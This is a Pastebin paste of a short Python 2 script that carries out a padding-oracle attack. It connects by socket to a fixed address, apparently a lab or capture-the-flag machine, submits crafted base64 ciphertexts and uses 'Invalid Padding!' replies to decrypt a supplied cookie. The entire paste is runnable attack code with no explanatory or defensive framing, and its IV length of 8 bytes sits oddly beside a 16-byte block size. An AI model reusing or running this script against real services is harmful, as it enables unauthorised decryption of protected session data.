Harcrack

padoracleattack.py

Nov 7th, 2018
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.66 KB | None | 0 0
  1. from paddingoracle import BadPaddingException, PaddingOracle
  2. from base64 import b64encode, b64decode
  3. from urllib import quote, unquote
  4. import requests
  5. import socket
  6. import time
  7.  
  8.  
  9. RHOST = '10.10.10.89'
  10. RPORT = 1550
  11. BUFFER_SIZE = 128
  12.  
  13. class PadBuster(PaddingOracle):
  14.     def __init__(self, **kwargs):
  15.         super(PadBuster, self).__init__(**kwargs)
  16.         self.session = requests.Session()
  17.         self.wait = kwargs.get('wait', 2.0)
  18.  
  19.     def oracle(self, data, **kwargs):
  20.         #somecookie = quote(b64encode(data))
  21.         somecookie = b64encode(data)
  22.         print 'Data : ',somecookie
  23.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  24.         s.connect((RHOST, RPORT))
  25.         data = ""
  26.         while 'Insert ciphertext: ' not in data:
  27.             data = s.recv(BUFFER_SIZE) # first line
  28.             print 'Data : ',data
  29.         a = s.send(somecookie+'\n')
  30.         print 'Sent : ',a
  31.         answer = s.recv(BUFFER_SIZE)
  32.         print 'Received : ', answer
  33.  
  34.         if 'Invalid Padding!'  not in answer:
  35.             logging.debug('No padding exception raised on %r', somecookie)
  36.             return
  37.  
  38.         raise BadPaddingException
  39.  
  40.  
  41. if __name__ == '__main__':
  42.     import logging
  43.     import sys
  44.  
  45.     if not sys.argv[1:]:
  46.         print 'Usage: %s <somecookie value>' % (sys.argv[0], )
  47.         sys.exit(1)
  48.  
  49.     logging.basicConfig(level=logging.DEBUG)
  50.  
  51.     encrypted_cookie = b64decode(unquote(sys.argv[1]))
  52.     print 'Base64 decrypted',encrypted_cookie
  53.     padbuster = PadBuster()
  54.  
  55.     cookie = padbuster.decrypt(encrypted_cookie, block_size=16, iv=bytearray(8))
  56.  
  57.     print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))
Advertisement
Add Comment
Please, Sign In to add comment